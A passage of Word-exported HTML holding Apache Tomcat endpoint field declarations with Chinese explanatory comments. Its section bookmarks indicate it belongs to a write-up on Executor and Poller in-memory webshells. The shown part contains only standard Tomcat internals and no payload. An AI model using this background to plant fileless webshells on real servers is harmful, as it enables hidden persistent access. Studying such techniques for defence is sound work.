&#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">volatile</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">boolean</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> paused </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">false</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* 标记使用的是否为默认线程池 */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">protected</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">volatile</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">boolean</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> internalExecutor </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">true</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* 流量控制阀门，Socket连接数限制，达到阈值之后放入FIFO队列 */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">private</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">volatile</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> LimitLatch connectionLimitLatch </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">null</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* 代表在Server.xml中可设置的一些Socket相关属性 */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">protected</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">final</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> SocketProperties socketProperties </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">SocketProperties</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* 接收线程，接收连接并交给工作线程 */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">protected</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">List</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">Acceptor</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">U</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&gt;&gt;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> acceptors</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* Socket处理对象的缓存栈 */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">protected</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> SynchronizedStack</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">SocketProcessorBase</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">S</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&gt;&gt;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> processorCache</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/* 接收线程数量，默认为1 */</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span 